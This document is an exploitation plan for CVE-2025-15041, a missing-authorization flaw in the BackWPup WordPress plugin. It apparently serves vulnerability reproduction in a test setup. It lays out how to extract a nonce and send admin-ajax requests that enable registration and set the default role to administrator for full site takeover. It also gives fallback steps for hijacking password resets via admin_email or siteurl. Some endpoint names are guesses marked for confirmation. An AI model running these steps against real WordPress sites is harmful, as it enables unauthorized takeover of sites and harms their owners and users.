Exploitation Research Plan: CVE-2025-15041

1. Vulnerability Summary

The BackWPup plugin (versions 5.0.0 to 5.6.2) contains a missing authorization vulnerability in the save_site_option() function. This function (likely associated with a "Helper" or "Admin" class) fails to verify the user's capabilities before updating WordPress site options. An authenticated attacker with minimal plugin access ("BackWPup Helper+" access) can trigger this function to modify arbitrary database entries in the wp_options table (or wp_sitemeta in Multisite). By enabling user registration and setting the default role to administrator, an attacker can achieve full site takeover.

2. Attack Vector Analysis

• Endpoint: admin-ajax.php
• Action: Inferred as backwpup_save_site_option or backwpup_helper_save_site_option (to be confirmed via grep).
• Parameters:
  • option: The name of the WordPress option to update.
  • value: The new value for the option.
  • _ajax_nonce: A nonce (if enforced).
• Authentication: Authenticated user with "BackWPup Helper+" access.
• Vulnerability Type: Missing Authorization (Missing current_user_can('manage_options')).

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX handler for authenticated users:
   add_action('wp_ajax_backwpup_save_site_option', array($class, 'save_site_option'));
2. Function Definition: Inside the save_site_option() method:
   • The code retrieves $_POST['option'] and $_POST['value'].
   • It may perform a nonce check using check_ajax_referer().
   • Crucially, it fails to check current_user_can('manage_options').
3. Sink: The function calls update_site_option($option, $value) or update_option($option, $value).

4. Nonce Acquisition Strategy

The plugin likely enqueues administrative scripts that include a nonce. Since this is an authenticated vulnerability, we must first log in as a user with the required access.

1. Identify Script Localization: Search for wp_localize_script in the plugin directory to find the nonce key.

   grep -r "wp_localize_script" /var/www/html/wp-content/plugins/backwpup/
   

2. Target Variable: Look for a variable like backwpup_admin or backwpup_helper. Verbatim from typical plugin patterns, this might be backwpup_nonce.
3. Extraction:
   • Log in as the "Helper" level user.
   • Navigate to the BackWPup dashboard or settings page.
   • Use browser_eval to extract the nonce:
     browser_eval("window.backwpup_admin?.nonce") (Replace with the exact variable/key found).

5. Exploitation Strategy

The goal is to enable user registration and set the default role to administrator.

Step 1: Enable User Registration

• Request: POST /wp-admin/admin-ajax.php
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: backwpup_save_site_option (Confirm exact action name)
  • option: users_can_register
  • value: 1
  • _ajax_nonce: [EXTRACTED_NONCE]

Step 2: Set Default Role to Administrator

• Request: POST /wp-admin/admin-ajax.php
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: backwpup_save_site_option
  • option: default_role
  • value: administrator
  • _ajax_nonce: [EXTRACTED_NONCE]

Step 3: Register New User

Navigate to wp-login.php?action=register and register a new account.

6. Test Data Setup

1. Install BackWPup 5.6.2.
2. Create a low-privileged user: Create a user with a role that has access to the "BackWPup Helper+" interface (usually this is an Editor or a custom role defined by the plugin).
3. Plugin Settings: Ensure the plugin is active.

7. Expected Results

• The admin-ajax.php request should return a successful status (e.g., {"success":true} or 1).
• The wp_options table should reflect users_can_register = 1 and default_role = administrator.
• A newly registered user should automatically be assigned the administrator role.

8. Verification Steps

After the HTTP requests, use WP-CLI to verify the changes:

wp option get users_can_register
# Expected: 1

wp option get default_role
# Expected: administrator

wp user list --role=administrator
# Verify the newly registered user appears here

9. Alternative Approaches

• Multisite Target: If the site is a Multisite installation, use option names relevant to network settings and verify if update_site_option is used, which could affect the entire network.
• Option Enumeration: If users_can_register is blocked by a blacklist (unlikely given the description), try updating admin_email or siteurl to redirect traffic or hijack password resets.
• Direct Option Overwrite: If the plugin uses a specific prefix for options, check if the vulnerability allows stripping that prefix or if it directly passes the string to update_option.